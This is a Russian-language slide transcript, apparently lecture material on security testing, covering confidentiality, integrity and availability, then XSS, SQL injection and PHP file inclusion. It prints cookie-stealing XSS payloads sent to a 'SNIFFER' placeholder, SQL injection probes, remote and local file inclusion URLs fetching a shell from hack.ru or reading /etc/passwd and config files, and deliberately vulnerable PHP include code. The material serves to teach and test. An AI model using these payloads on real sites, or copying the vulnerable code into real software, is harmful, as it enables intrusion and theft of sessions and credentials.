security testing

Post on 15-Nov-2014

1.069 Views

Category:

Documents

2 Downloads

Preview:

Click to see full reader

DESCRIPTION

 

TRANSCRIPT

Тестирование безопасности или Security and Access

Control Testing

Принципы безопасности ПО

• Конфиденциальность

• Целостность

• Доступность

КонфиденциальностьКонфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.

ЦелостностьЦелостность - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. Является условием того, что данные не были несанкционированно модифицированы при выполнении любой операции над ними, будь то передача, хранение или представление.

ДоступностьДоступность - состояние информации (ресурсов автоматизированной информационной системы), при котором субъекты, имеющие право доступа, могут реализовывать их беспрепятственно. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.

Основные типы уязвимостейWeb-приложений

• XSS injection

• SQL injection

• PHP injection

XSS injection(Cross Site Scripting)

XSS injection - тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

XSS injection(Cross Site Scripting)

Примеры:

• <script>alert(‘XSS’)</script>

• <IMG SRC="javascript:alert('XSS');">

• <script src="http://oursite/blabla.js"></script>

• <script>document.location="SNIFFER"+document.cookie</script>

• <script>img=new Image();img.src="SNIFFER"+document.cookie</script>

SQL injectionSQL–injection - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и т.д.

SQL injectionИсходная страница: site.com/index.php?id=1

Примеры:

• site.com/index.php?id=1 ‘ (Выводит ошибку)

• site.com/index.php?id=1 blablabla (Выводит ошибку)

• site.com/index.php?id=2-1(Выводит страницу 1)

• site.com/index.php?id=1*1(Выводит страницу 1)

• site.com/index.php?id=1*2(Выводит страницу 2)

• site.com/index.php?id=1+and+1=1(Выводит страницу 1)

• site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)

PHP injectionPHP injection - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:eval(),preg_replace() (с модификатором «e»),require_once(),include_once(),include(),require(),create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

PHP injectionУдалённый инклуд (Remote File Inclusion)

<?php if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); } ?>

• Нет проверки на существование значения $_GET['page']http://site.ru/index.php?page=http://hack.ru/shell

• Переменная $file не была определена раннееhttp://site.ru/index.php?file=http://hack.ru/shell

PHP injectionЛокальный инклуд (Local File Inclusion)

<?php … include("include/$file"); … ?>

• Под видом картинки заливаем веб-шелл:http://www.site.com/index.php?include=../forum/images/shell.jpg

• Если знаем движок и структуру приложения, можем прочитать конфигурационные файлы:

http://www.site.com/index.php?include=../forum/admin/config.php

• Либо даже так:http://www.site.com/index.php?include=../../../../etc/passwd

Что почитать по теме?

• XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html

• Много статей по SQL/PHP/XSS-inj с примерами http://forum.antichat.ru/thread19610.html

top related